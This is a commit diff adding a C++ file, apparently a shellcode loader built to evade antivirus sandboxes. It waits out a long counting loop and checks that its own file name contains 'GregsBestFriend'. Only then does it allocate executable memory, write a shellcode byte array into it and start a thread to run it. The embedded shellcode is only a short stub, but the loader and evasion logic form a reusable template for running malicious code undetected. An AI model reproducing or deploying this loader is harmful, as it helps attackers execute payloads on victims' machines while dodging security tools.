Create GregsBestFriend.cpp

CL/GregsBestFriend.cpp

@@ -0,0 +1,48 @@
+#include "Windows.h"
+#include "stdio.h"
+#include <iostream>
+#include <string>
+#include <regex>
+
+#define MAX_OP 89888996 // Define a constant MAX_OP with a value of 89888996
+void shellcode(); // Declare the shellcode function
+
+using namespace std;
+
+int main(int argc, char *argv[])
+{
+    char path [MAX_PATH]; // Declare a character array to hold the file path
+    int cpt = 0; // Initialize an integer variable cpt to 0
+    int i = 0; // Initialize an integer variable i to 0
+    for (i = 0; i < MAX_OP; i++) // Loop MAX_OP times and increment cpt each time
+    {
+        cpt++;
+    }
+    if (cpt == MAX_OP) // Check if cpt is equal to MAX_OP
+    {
+        GetModuleFileNameA(NULL, path, MAX_PATH); // Get the file path of the current module
+        regex str_expr ("(.*)(GregsBestFriend)(.*)"); // Define a regular expression pattern
+        
+        if (regex_match (path,str_expr)) { // Check if the file path matches the regular expression pattern
+            shellcode(); // Call the shellcode function
+        }
+    }
+    return 0; // Return 0 to indicate successful program execution
+}
+
+void shellcode() // Define the shellcode function
+{
+    unsigned char shellcode[] = "\xeb\x27\x5b\x53\x5f\xb0"; // Define an array of bytes to hold the shellcode
+    HANDLE processHandle; // Declare a HANDLE variable to hold the process handle
+    HANDLE remoteThread; // Declare a HANDLE variable to hold the remote thread handle
+    PVOID remoteBuffer; // Declare a PVOID variable to hold the remote buffer address
+
+    DWORD pnameid = GetCurrentProcessId(); // Get the ID of the current process
+    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pnameid); // Open the current process with all access rights
+    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // Allocate memory in the current process for the shellcode
+    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); // Write the shellcode to the remote buffer
+    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); // Create a remote thread to execute the shellcode
+    CloseHandle(processHandle); // Close the process handle
+    system("pause"); // Pause the program execution to allow the user to see the output
+    //return 0; // The function does not return a value
+}